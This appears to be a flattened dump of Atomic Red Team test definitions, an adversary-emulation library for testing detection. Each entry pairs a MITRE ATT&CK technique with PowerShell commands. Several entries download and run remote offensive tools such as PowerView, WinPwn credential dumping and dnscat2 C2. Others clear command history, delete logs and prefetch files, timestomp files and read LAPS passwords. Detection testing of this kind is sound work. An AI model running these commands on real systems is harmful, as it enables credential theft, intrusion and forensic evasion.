Utilizing PowerView, run Get-DomainGroupMember to identify domain users. Upon execution, progress and info about groups within the domain being scanned will be displayed.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroupMember "Domain Admins"
T1069.002
powershell
windows
Get-DomainGroup with PowerView
Domain Groups
Utilizing PowerView, run Get-DomainGroup to identify the domain groups. Upon execution, Groups within the domain will be listed.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose
T1070
powershell
windows
Indicator Manipulation using FSUtil
Indicator Removal
Finds a file by user name (if Disk Quotas are enabled), queries allocated ranges for a file, sets a file's short name, sets a file's valid data length, sets zero data for a file, or creates a new file. Upon execution, no output will be displayed. More information about fsutil can be found at https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-file - https://tria.ge/230601-x8x6bsgb24/behavioral2
if (-not (Test-Path "#{file_to_manipulate}")) { New-Item "#{file_to_manipulate}" -Force }
echo "1234567890" > "#{file_to_manipulate}"
fsutil file setZeroData offset=0 length=#{file_data_length} "#{file_to_manipulate}"
T1070.003
powershell
windows
Prevent Powershell History Logging
Clear Command History
Prevents Powershell history
Set-PSReadlineOption -HistorySaveStyle SaveNothing
T1070.003
powershell
windows
Clear Powershell History by Deleting History File
Clear Command History
Clears Powershell history
Remove-Item (Get-PSReadlineOption).HistorySavePath
T1070.003
powershell
windows
Set Custom AddToHistoryHandler to Avoid History File Logging
Clear Command History
The "AddToHistoryHandler" receives the current command as the $line variable and then returns $true if the line should be written to the history file. Here we simply return $false so nothing gets added to the history file for the current session.
Set-PSReadLineOption -AddToHistoryHandler { return $false }
T1070.003
powershell
windows
Clear PowerShell Session History
Clear Command History
This technique involves using the Clear-History cmdlet in PowerShell to remove all records of previously executed commands. This action is often performed by attackers to eliminate traces of their activities, making incident detection and forensic investigation more challenging. By clearing the session history, adversaries aim to obfuscate their operational footprint.
Clear-History
T1070.004
powershell
windows
Delete a single file - Windows PowerShell
File Deletion
Delete a single file from the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the file was deleted.
Remove-Item -path #{file_to_delete}
T1070.004
powershell
windows
Delete an entire folder - Windows PowerShell
File Deletion
Recursively delete a folder in the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted.
Remove-Item -Path #{folder_to_delete} -Recurse
T1070.004
powershell
elevated
windows
Delete Prefetch File
File Deletion
Delete a single prefetch file. Deletion of prefetch files is a known anti-forensic technique. To verify execution, Run (Get-ChildItem -Path "$Env:SystemRoot\prefetch\*.pf" | Measure-Object).Count before and after the test to verify that the number of prefetch files decreases by 1.
Remove-Item -Path (Join-Path "$Env:SystemRoot\prefetch\" (Get-ChildItem -Path "$Env:SystemRoot\prefetch\*.pf" -Name)[0])
T1070.004
powershell
windows
Delete TeamViewer Log Files
File Deletion
Adversaries may delete TeamViewer log files to hide activity. This should provide a high true-positive alert ration. This test just places the files in a non-TeamViewer folder, a detection would just check for a deletion event matching the TeamViewer log file format of TeamViewer_##.log. Upon execution, no output will be displayed. Use File Explorer to verify the folder was deleted. https://twitter.com/SBousseaden/status/1197524463304290305?s=20
New-Item -Path #{teamviewer_log_file} -Force | Out-Null
Remove-Item #{teamviewer_log_file} -Force -ErrorAction Ignore
T1070.005
powershell
windows
Remove Network Share PowerShell
Network Share Connection Removal
Removes a Network Share utilizing PowerShell
Remove-SmbShare -Name #{share_name}
Remove-FileShare -Name #{share_name}
T1070.006
powershell
windows
Windows - Modify file creation timestamp with PowerShell
Timestomp
Modifies the file creation timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Created time is the year 1970.
Get-ChildItem "#{file_path}" | % { $_.CreationTime = "#{target_date_time}" }
T1070.006
powershell
windows
Windows - Modify file last modified timestamp with PowerShell
Timestomp
Modifies the file last modified timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Modified time is the year 1970.
Get-ChildItem "#{file_path}" | % { $_.LastWriteTime = "#{target_date_time}" }
T1070.006
powershell
windows
Windows - Modify file last access timestamp with PowerShell
Timestomp
Modifies the last access timestamp of a specified file. This technique was seen in use by the Stitch RAT. To verify execution, use File Explorer to view the Properties of the file and observe that the Accessed time is the year 1970.
Get-ChildItem "#{file_path}" | % { $_.LastAccessTime = "#{target_date_time}" }
T1070.006
powershell
windows
Windows - Timestomp a File
Timestomp
Timestomp kxwn.lock. Successful execution will include the placement of kxwn.lock in #{file_path} and execution of timestomp.ps1 to modify the time of the .lock file. [Mitre ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/master/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/defensive-evasion/4a2ad84e-a93a-4b2e-b1f0-c354d6a41278.yml)
import-module "#{file_path}\timestomp.ps1"
timestomp -dest "#{file_path}\kxwn.lock"
T1070.006
powershell
elevated
windows
Event Log Manipulations- Time slipping via Powershell
Timestomp
Changes the system time on the computer to a time that you specify. It involves altering the system’s clock or adjusting the dates of files, affecting timestamp integrity within Event Logs. This technique can disrupt the sequence of logged events, complicating incident analysis and forensics. Reference - https://detect.fyi/event-log-manipulations-1-time-slipping-55bf95631c40 https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/set-date?view=powershell-7.4
try{
Set-Date -Date (Get-Date).AddDays(#{days_to_modify})
Add-Content "$env:APPDATA\slipDays.bak" #{days_to_modify}
}
catch {exit 1}
T1070.008
powershell
elevated
windows
Copy and Delete Mailbox Data on Windows
Clear Mailbox Data
Copies and deletes mail data on Windows
New-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -ItemType Directory -ErrorAction Ignore
Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore }
Remove-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore
T1070.008
powershell
elevated
windows
Copy and Modify Mailbox Data on Windows
Clear Mailbox Data
Copies and modifies mail data on Windows
New-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -ItemType Directory -ErrorAction Ignore
Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore }
Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -File | ForEach-Object { Add-Content -Path $_.FullName -Value "Modification for Atomic Red Test" -ErrorAction Ignore }
T1071
powershell
windows
Telnet C2
Application Layer Protocol
An adversary may establish Telnet communication from a compromised endpoint to a command and control (C2) server in order to carry out additional attacks on objectives.
#{client_path} #{server_ip} --port #{server_port}
T1071.001
powershell
windows
Malicious User Agents - Powershell
Web Protocols
This test simulates an infected host beaconing to command and control. Upon execution, no output will be displayed. Use an application such as Wireshark to record the session and observe user agent strings and responses. Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat
Invoke-WebRequest #{domain} -UserAgent "HttpBrowser/1.0" | out-null
Invoke-WebRequest #{domain} -UserAgent "Wget/1.9+cvs-stable (Red Hat modified)" | out-null
Invoke-WebRequest #{domain} -UserAgent "Opera/8.81 (Windows NT 6.0; U; en)" | out-null
Invoke-WebRequest #{domain} -UserAgent "*<|>*" | out-null
T1071.004
powershell
windows
DNS Large Query Volume
DNS
This test simulates an infected host sending a large volume of DNS queries to a command and control server. The intent of this test is to trigger threshold based detection on the number of DNS queries either from a single source system or to a single targe domain. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.
for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type "#{query_type}" "#{subdomain}-$(Get-Random -Minimum 1 -Maximum 999999).#{domain}" -QuickTimeout}
T1071.004
powershell
windows
DNS Regular Beaconing
DNS
This test simulates an infected host beaconing via DNS queries to a command and control server at regular intervals over time. This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection. A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.
Set-Location "PathToAtomicsFolder"
.\T1071.004\src\T1071-dns-beacon.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}
T1071.004
powershell
windows
DNS Long Domain Query
DNS
This test simulates an infected host returning data to a command and control server using long domain names. The simulation involves sending DNS queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DNS queries for long domain names over a set threshold. Upon execution, DNS information about the domain will be displayed for each callout.
Set-Location "PathToAtomicsFolder"
.\T1071.004\src\T1071-dns-domain-length.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}
DNS
This will attempt to start a C2 session using the DNS protocol. You will need to have a listener set up and create DNS records prior to executing this command. The following blogs have more information. https://github.com/iagox86/dnscat2 https://github.com/lukebaggett/dnscat2-powershell
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.ps1')
Start-Dnscat2 -Domain #{domain} -DNSServer #{server_ip}
T1072
powershell
windows
Deploy 7-Zip Using Chocolatey
Software Deployment Tools
An adversary may use Chocolatey to remotely deploy the 7-Zip file archiver utility.
# Deploy 7-Zip using Chocolatey
choco install -y 7zip
T1074.001
powershell
windows
Stage data from Discovery.bat
Local Data Staging
Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution, verify that the file is saved in the temp directory.
Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.bat" -OutFile #{output_file}
T1074.001
powershell
windows
Zip a Folder with PowerShell for Staging in Temp
Local Data Staging
Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip was placed in the temp directory.
Compress-Archive -Path "#{input_file}" -DestinationPath #{output_file} -Force
T1078.003
powershell
elevated
windows
WinPwn - Loot local Credentials - powerhell kittie
Local Accounts
Loot local Credentials - powerhell kittie technique via function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
obfuskittiedump -consoleoutput -noninteractive
T1078.003
powershell
elevated
windows
WinPwn - Loot local Credentials - Safetykatz
Local Accounts
Loot local Credentials - Safetykatz technique via function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
safedump -consoleoutput -noninteractive
T1078.004
powershell
iaas:azure
Azure Persistence Automation Runbook Created or Modified
Cloud Accounts
Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure Automation runbook to execute malicious code and maintain persistence in their target's environment.
New-AzAutomationRunbook -Name #{runbook_name} -Type PowerShell -ResourceGroupName #{resource_group} -Description 'my-test-runbook' -AutomationAccountName #{automation_account_name}
T1082
powershell
windows
Griffon Recon
System Information Discovery
This script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre in order simply print the recon results to the screen as opposed to exfiltrating them. [Script](https://gist.github.com/kirk-sayre-work/7cb5bf4e2c7c77fa5684ddc17053f1e5). For more information see also [https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon](https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon) and [https://attack.mitre.org/software/S0417/](https://attack.mitre.org/software/S0417/)
cscript "#{vbscript}"
T1082
powershell
windows
WinPwn - winPEAS
System Information Discovery
Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
winPEAS -noninteractive -consoleoutput
T1082
powershell
windows
WinPwn - itm4nprivesc
System Information Discovery
Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
itm4nprivesc -noninteractive -consoleoutput
T1082
powershell
windows
WinPwn - Powersploits privesc checks
System Information Discovery
Powersploits privesc checks using oldchecks function of WinPwn
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
oldchecks -noninteractive -consoleoutput
T1082
powershell
windows
WinPwn - General privesc checks
System Information Discovery
General privesc checks using the otherchecks function of WinPwn
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
otherchecks -noninteractive -consoleoutput
T1082
powershell
windows
WinPwn - GeneralRecon
System Information Discovery
Collect general computer informations via GeneralRecon function of WinPwn
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Generalrecon -consoleoutput -noninteractive
T1082
powershell
windows
WinPwn - Morerecon
System Information Discovery
Gathers local system information using the Morerecon function of WinPwn
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Morerecon -noninteractive -consoleoutput
T1082
powershell
windows
WinPwn - RBCD-Check
System Information Discovery
Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
RBCD-Check -consoleoutput -noninteractive
T1082
powershell
windows
WinPwn - PowerSharpPack - Watson searching for missing windows patches
System Information Discovery
PowerSharpPack - Watson searching for missing windows patches technique via function of WinPwn
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')
Invoke-watson
T1082
powershell
windows
WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors
System Information Discovery
PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')
Invoke-SharpUp -command "audit"
T1082
powershell
windows
WinPwn - PowerSharpPack - Seatbelt
System Information Discovery
PowerSharpPack - Seatbelt technique via function of WinPwn. [Seatbelt](https://github.com/GhostPack/Seatbelt) is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
$S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')
Invoke-Seatbelt -Command "-group=all"
T1082
powershell
elevated
azure-ad
Azure Security Scan with SkyArk
System Information Discovery
Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. Once the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. See https://github.com/cyberark/SkyArk
Import-Module "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1" -force
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzAccount -Credential $Credential
Connect-AzureAD -Credential $Credential
Scan-AzureAdmins -UseCurrentCred
T1082
powershell
windows
operating system discovery
System Information Discovery
operating system discovery using get-ciminstance https://petri.com/getting-operating-system-information-powershell/
Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory | Out-null
T1083
powershell
windows
File and Directory Discovery (PowerShell)
File and Directory Discovery
Find or discover files on the file system. Upon execution, file and folder information will be displayed.
ls -recurse
get-childitem -recurse
gci -recurse
T1083
powershell
windows
Simulating MAZE Directory Enumeration
File and Directory Discovery
This test emulates MAZE ransomware's ability to enumerate directories using Powershell. Upon successful execution, this test will output the directory enumeration results to a specified file, as well as display them in the active window. See https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents
$folderarray = @("Desktop", "Downloads", "Documents", "AppData/Local", "AppData/Roaming")
Get-ChildItem -Path $env:homedrive -ErrorAction SilentlyContinue | Out-File -append #{File_to_output}
Get-ChildItem -Path $env:programfiles -erroraction silentlycontinue | Out-File -append #{File_to_output}
Get-ChildItem -Path "${env:ProgramFiles(x86)}" -erroraction silentlycontinue | Out-File -append #{File_to_output}
$UsersFolder = "$env:homedrive\Users\"
foreach ($directory in Get-ChildItem -Path $UsersFolder -ErrorAction SilentlyContinue)
{
foreach ($secondarydirectory in $folderarray)
{Get-ChildItem -Path "$UsersFolder/$directory/$secondarydirectory" -ErrorAction SilentlyContinue | Out-File -append #{File_to_output}}
}
cat #{File_to_output}
T1083
powershell
windows
Launch DirLister Executable
File and Directory Discovery
Launches the DirLister executable for a short period of time and then exits. Recently seen used by [BlackCat ransomware](https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/) to create a list of accessible directories and files.
Start-Process "#{dirlister_path}"
Start-Sleep -Second 4
Stop-Process -Name "DirLister"
T1083
powershell
windows
Recursive Enumerate Files And Directories By Powershell
File and Directory Discovery
Adversary attempting to discover and collect sensitive documents and archives from a user’s system. The test recursively enumerates common user folders (Documents, Downloads, Desktop, OneDrive) for file types of interest such as .pdf, .doc, .docx, .xls, .xlsx, .txt, .zip, .rar, and .7z. This behavior is similar to malware like LOSTKEYS used by COLDRIVER in January 2025, where attackers perform targeted file discovery to support strategic intelligence collection https://www.zscaler.com/blogs/security-research/coldriver-updates-arsenal-baitswitch-and-simplefix.
$out = "#{output_file}"
$dirsFilter = @('Documents','Downloads','Desktop','OneDrive')
$exts = @('.pdf','.doc','.docx','.xls','.xlsx','.txt','.zip','.rar','.7z')
$userProfile = [Environment]::GetFolderPath('UserProfile')
$tr = [System.Collections.Generic.List[string]]::new()
function MatchesExtension($path) {
try {
$e = [System.IO.Path]::GetExtension($path).ToLower()
return $exts -contains $e
} catch { return $false }
}
function Scan-Dir($root) {
try {
$match = $false
foreach ($f in $dirsFilter) { if ($root -like "*$f*") { $match = $true; break } }
if (-not $match) { return }
[System.IO.Directory]::EnumerateFiles($root) | ForEach-Object {
if (MatchesExtension $_) {
$fi = [System.IO.FileInfo]::new($_)
$tr.Add("[File] $_ Size:$($fi.Length) LastWrite:$($fi.LastWriteTime)")
}
}
[System.IO.Directory]::EnumerateDirectories($root) | ForEach-Object {
Scan-Dir $_
}
} catch [System.UnauthorizedAccessException] {
$tr.Add("[AccessDenied] $root")
} catch {
$tr.Add("[Error] $root => $($_.Exception.Message)")
}
}
[System.IO.Directory]::EnumerateDirectories($userProfile) | ForEach-Object { Scan-Dir $_ }
# Ensure output dir exists
$outDir = [System.IO.Path]::GetDirectoryName($out)
if (-not [string]::IsNullOrEmpty($outDir) -and -not (Test-Path $outDir)) {
New-Item -Path $outDir -ItemType Directory -Force | Out-Null
}
# Write results
$tr | Out-File -FilePath $out -Encoding UTF8
Write-Output "Enumeration complete. Results written to: $out"
T1087.001
powershell
windows
Enumerate all accounts via PowerShell (Local)
Local Account
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
net user
get-localuser
get-localgroupmember -group Users
cmdkey.exe /list
ls C:/Users
get-childitem C:\Users\
dir C:\Users\
get-localgroup
net localgroup
T1087.002
powershell
windows
Enumerate all accounts via PowerShell (Domain)
Domain Account
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002
powershell
windows
Automated AD Recon (ADRecon)
Domain Account
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.
Invoke-Expression "#{adrecon_path}"
T1087.002
powershell
windows
Enumerate Active Directory for Unconstrained Delegation
Domain Account
Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#when-the-stars-align-unconstrained-delegation-leads-to-rce Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002
powershell
windows
Get-DomainUser with PowerView
Domain Account
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002
powershell
windows
Enumerate Active Directory Users with ADSISearcher
Domain Account
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002
powershell
windows
Enumerate Linked Policies In ADSISearcher Discovery
Domain Account
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference: https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002
powershell
windows
Enumerate Root Domain linked policies Discovery
Domain Account
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference: https://medium.com/@pentesttas/discover-hidden-gpo-s-on-active-directory-using-ps-adsi-a284b6814c81
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002
powershell
windows
WinPwn - generaldomaininfo
Domain Account
Gathers general domain information using the generaldomaininfo function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
T1087.002
powershell
windows
Kerbrute - userenum
Domain Account
Enumerates active directory usernames using the userenum function of Kerbrute
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002
powershell
windows
Wevtutil - Discover NTLM Users Remote
Domain Account
This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002
powershell
windows
Suspicious LAPS Attributes Query with Get-ADComputer all properties
Domain Account
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Get-ADComputer #{hostname} -Properties *
T1087.002
powershell
windows
Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property
Domain Account
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002
powershell
windows
Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope
Domain Account
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002
powershell
windows
Suspicious LAPS Attributes Query with adfind all properties
Domain Account
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002
powershell
windows
Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd
Domain Account
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1090.001
powershell
elevated
windows
portproxy reg key
Internal Proxy
Adds a registry key to set up a proxy on the endpoint at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4 Upon execution there will be a new proxy entry in netsh interface portproxy show all
netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport} connectaddress=#{connectaddress}
Multi-hop Proxy
Psiphon 3 is a circumvention tool from Psiphon Inc. that utilizes VPN, SSH and HTTP Proxy technology to provide you with uncensored access to Internet. This process will launch Psiphon 3 and establish a connection. Shortly after it will be shut down via process kill commands. More information can be found about Psiphon using the following urls http://s3.amazonaws.com/0ubz-2q11-gi9y/en.html https://psiphon.ca/faq.html
& "PathToAtomicsFolder\T1090.003\src\Psiphon.bat"
T1090.003
powershell
windows
Tor Proxy Usage - Windows
Multi-hop Proxy
This test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality. Upon successful execution, the tor proxy will be launched, run for 60 seconds, and then exit.
invoke-expression 'cmd /c start powershell -Command {cmd /c "#{TorExe}"}'
sleep -s 60
stop-process -name "tor" | out-null
T1091
powershell
windows
USB Malware Spread Simulation
Replication Through Removable Media
Simulates an adversary copying malware to all connected removable drives.
$RemovableDrives=@()
$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID
ForEach ($Drive in $RemovableDrives)
{
write-host "Removable Drive Found:" $Drive
New-Item -Path $Drive/T1091Test1.txt -ItemType "file" -Force -Value "T1091 Test 1 has created this file to simulate malware spread to removable drives."
}
T1095
powershell
windows
ICMP C2
Non-Application Layer Protocol
This will attempt to start C2 Session Using ICMP. For information on how to set up the listener refer to the following blog: https://www.blackhillsinfosec.com/how-to-c2-over-icmp/
